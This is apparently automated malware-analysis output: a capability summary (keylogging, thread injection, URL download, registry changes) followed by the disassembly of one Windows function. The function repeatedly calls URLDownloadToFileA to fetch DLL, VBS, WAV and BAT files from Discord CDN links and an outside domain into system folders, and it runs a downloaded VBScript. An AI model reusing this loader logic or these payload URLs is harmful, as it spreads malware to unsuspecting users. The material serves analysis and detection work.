Function at 0x14004bbf0
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Encode data using xor
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x2020]
mov eax, 0x2120
call fcn.14011f860
sub rsp, rax
lea rcx, [0x140226548]
call fcn.1400484f0
mov rdx, rax
lea rcx, [0x140226548]
call fcn.140048650
lea rcx, [0x140226548]
call fcn.1400484f0
mov rdx, rax
lea rcx, [0x140226548]
call fcn.140048650
test eax, eax
jne 0x14004bc57
lea rdx, str.Status:_No_Process_Found_
lea rcx, [0x1402040b8]
call fcn.1400435e0
lea rcx, [rbp + 0x80]
xor r12d, r12d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rbx + 0x15c6c0]
lea rax, [rbx + 0x15c6c0]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp - 0x50]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x80]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
xor ecx, ecx
mov eax, dword [0x14015c790]
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x38], eax
movsd xmm0, qword [0x14015c788]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rsp + 0x78]
movups xmm1, xmmword [0x14015c7b0]
lea rdx, [rbp + 0x80]
mov eax, dword [0x14015c808]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c7c0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015c7e0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c800]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015c7d0]
movsd qword [rbp + 0xe0], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xe8], eax
movzx eax, byte [0x14015c80c]
movups xmmword [rbp + 0xb0], xmm1
movups xmm1, xmmword [0x14015c7f0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm1, xmmword [0x14015c820]
mov byte [rbp + 0xec], al
movzx eax, byte [0x14015c838]
movups xmmword [rsp + 0x78], xmm0
mov byte [rbp - 0x60], al
movsd xmm0, qword [0x14015c830]
movsd qword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x78], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__beyondregedit.shop_gtc_sound_gtc.wav]
mov eax, dword [0x14015c868]
movups xmm1, xmmword [0x14015c850]
mov dword [rbp + 0x1d8], eax
movzx eax, byte [0x14015c86c]
movups xmmword [rbp + 0x1b0], xmm0
movsd xmm0, qword [0x14015c860]
movsd qword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov byte [rbp + 0x1dc], al
lea r8, [rbp - 0x50]
mov eax, dword [0x14015c880]
lea rdx, [rbp + 0x1b0]
mov dword [rbp - 0x40], eax
xor r9d, r9d
movzx eax, word [0x14015c884]
xor ecx, ecx
mov word [rbp - 0x3c], ax
movzx eax, byte [0x14015c886]
mov byte [rbp - 0x3a], al
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rbp - 0x50]
mov eax, dword [0x14015c8e8]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [0x14015c8a0]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c8b0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015c8d0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c8e0]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x14015c8ec]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp + 0xdc], ax
movsd xmm0, qword [0x14015c900]
movzx eax, word [0x14015c908]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015c8c0]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov word [rbp - 0x38], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp - 0x50]
movups xmm1, xmmword [0x14015c920]
lea rdx, [rbp + 0x80]
movzx eax, byte [0x14015c968]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c930]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015c950]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c960]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xd8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x38], ax
movsd xmm0, qword [0x14015c980]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015c940]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movups xmm1, xmmword [0x14015c9a0]
movups xmmword [rbp + 0xa90], xmm0
movups xmm0, xmmword [0x14015c9b0]
movups xmmword [rbp + 0xaa0], xmm1
movups xmm1, xmmword [0x14015c9c0]
lea rdx, str.C:WindowsTemp_systen.dll
movzx eax, word [0x14015c9e8]
lea rcx, [rbp + 0x13c0]
movups xmmword [rbp + 0xab0], xmm0
movups xmm0, xmmword [0x14015c9d0]
movups xmmword [rbp + 0xad0], xmm0
movsd xmm0, qword [0x14015c9e0]
movsd qword [rbp + 0xae0], xmm0
movups xmmword [rbp + 0xac0], xmm1
mov word [rbp + 0xae8], ax
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x13c0]
xor ecx, ecx
lea rdx, [rbp + 0xa90]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x50]
movzx eax, word [0x14015c9e8]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [0x14015c9a0]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c9b0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015c9d0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c9e0]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x14015c618]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x38], ax
movsd xmm0, qword [0x14015c610]
movzx eax, byte [0x14015c61a]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015c9c0]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x36], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x50]
movzx eax, word [0x14015c9e8]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [0x14015c9a0]
xor r9d, r9d
movups xmmword [rbp + 0x80], xmm0
xor ecx, ecx
movups xmm0, xmmword [0x14015c9b0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x14015c9d0]
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x14015c9e0]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xd8], ax
movzx eax, word [0x14015c658]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x38], ax
movsd xmm0, qword [0x14015c650]
movzx eax, byte [0x14015c65a]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x14015c9c0]
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov byte [rbp - 0x36], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c9f0]
lea rcx, [rbx + 0x15c9f0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1240]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x14d0]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x14d0]
xor ecx, ecx
lea rdx, [rbp + 0x1240]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cae0]
lea rax, [rbx + 0x15cae0]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1300]
movups xmmword [rcx], xmm0
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x15e0]
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15e0]
xor ecx, ecx
lea rdx, [rbp + 0x1300]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cbd0]
lea rcx, [rbx + 0x15cbd0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xdc0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
mov eax, dword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x16f0]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsSystem32_rafa.wav
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16f0]
xor ecx, ecx
lea rdx, [rbp + 0xdc0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450642343886898_boxrgb.dll]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movups xmm1, xmmword [0x14015ccc0]
lea rcx, [rbp + 0xcb0]
movzx eax, word [0x14015cd08]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm0, xmmword [0x14015ccd0]
movups xmmword [rbp + 0xb10], xmm0
movups xmm0, xmmword [0x14015ccf0]
movups xmmword [rbp + 0xb30], xmm0
movsd xmm0, qword [0x14015cd00]
movups xmmword [rbp + 0xb00], xmm1
movups xmm1, xmmword [0x14015cce0]
movsd qword [rbp + 0xb40], xmm0
movups xmmword [rbp + 0xb20], xmm1
mov word [rbp + 0xb48], ax
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xcb0]
xor ecx, ecx
lea rdx, [rbp + 0xaf0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cd10]
lea rcx, [rbx + 0x15cd10]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0xf40]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rdx, str.C:WindowsTemp_boxrgb.dll
lea rcx, [rbp + 0xcb0]
mov byte [r8 + 0x36], al
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c40]
xor ecx, ecx
lea rdx, [rbp + 0xf40]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cdd0]
lea rcx, [rbx + 0x15cdd0]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x10c0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xcb0]
mov byte [rdx + 0x38], al
lea rdx, str.C:WindowsTempChamsRed.dll
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d50]
xor ecx, ecx
lea rdx, [rbp + 0x10c0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cdd0]
lea rcx, [rbx + 0x15cdd0]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x1180]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x1800]
mov byte [r8 + 0x38], al
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1800]
xor ecx, ecx
lea rdx, [rbp + 0x1180]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15ce90]
lea rcx, [rbx + 0x15ce90]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xe80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1910]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTempRas1.dll
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1910]
xor ecx, ecx
lea rdx, [rbp + 0xe80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cf70]
lea rcx, [rbx + 0x15cf70]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1000]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1a20]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTempRastss.dll
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1a20]
xor ecx, ecx
lea rdx, [rbp + 0x1000]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea rdx, str.C:WindowsTemp_blanca_1.dll
movups xmm1, xmmword [0x14015d040]
lea rcx, [rbp + 0x1b30]
mov eax, dword [0x14015d088]
movups xmmword [rbp + 0xb50], xmm0
movups xmm0, xmmword [0x14015d050]
movups xmmword [rbp + 0xb70], xmm0
movups xmm0, xmmword [0x14015d070]
movups xmmword [rbp + 0xb90], xmm0
movsd xmm0, qword [0x14015d080]
movups xmmword [rbp + 0xb60], xmm1
movups xmm1, xmmword [0x14015d060]
movsd qword [rbp + 0xba0], xmm0
movups xmmword [rbp + 0xb80], xmm1
mov dword [rbp + 0xba8], eax
call fcn.140053c90
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1b30]
xor ecx, ecx
lea rdx, [rbp + 0xb50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cd10]
lea rcx, [rbx + 0x15cd10]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x80]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x50]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x80]
movzx eax, word [0x14015c5d8]
mov word [rbp - 0x38], ax
movzx eax, byte [0x14015c5da]
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x36], al
movsd xmm0, qword [0x14015c5d0]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cd10]
lea rcx, [rbx + 0x15cd10]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x80]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
lea rdx, [rdx + 0x80]
xor r9d, r9d
movups xmm0, xmmword [rcx + 0x40]
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r12
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x80]
movzx eax, word [0x14015c5d8]
mov word [rbp - 0x38], ax
movzx eax, byte [0x14015c5da]
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x36], al
movsd xmm0, qword [0x14015c5d0]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15cdd0]
lea rcx, [rbx + 0x15cdd0]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x80]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp - 0x50]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x80]
mov eax, dword [0x14015c678]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x14015c67c]
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x34], al
movsd xmm0, qword [0x14015c670]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15ce90]
